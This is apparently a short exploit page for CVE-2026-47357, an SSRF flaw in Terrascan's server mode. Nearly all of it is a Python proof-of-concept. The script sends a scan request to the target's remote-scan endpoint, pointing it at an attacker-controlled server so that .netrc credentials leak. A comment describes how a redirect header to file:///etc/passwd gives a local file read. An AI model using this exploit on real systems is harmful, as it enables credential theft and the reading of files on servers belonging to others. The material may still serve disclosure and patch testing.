CVE-2026-47357 Terrascan SSRF漏洞致信息泄露

import requests # Target: Terrascan Server (running in server mode) target_url = "http://target-host:9010/v1/terraform/v1/aws/remote/dir/scan" # Attactor controlled server that will serve the malicious redirect attacker_server = "http://attacker-controlled-server.com" # Exploit payload # The 'remote_type' must be 'http' to trigger the go-getter library payload = { "remote_url": attacker_server, "remote_type": "http" } print("[+] Sending malicious request to Terrascan...") response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Request sent successfully. Check attacker server logs for .netrc credentials.") else: print(f"[-] Request failed with status code: {response.status_code}") # Note: To achieve Local File Read (LFR), the attacker_server must respond # to the request with the following header: # X-Terraform-Get: file:///etc/passwd # This instructs the go-getter library to fetch the local file.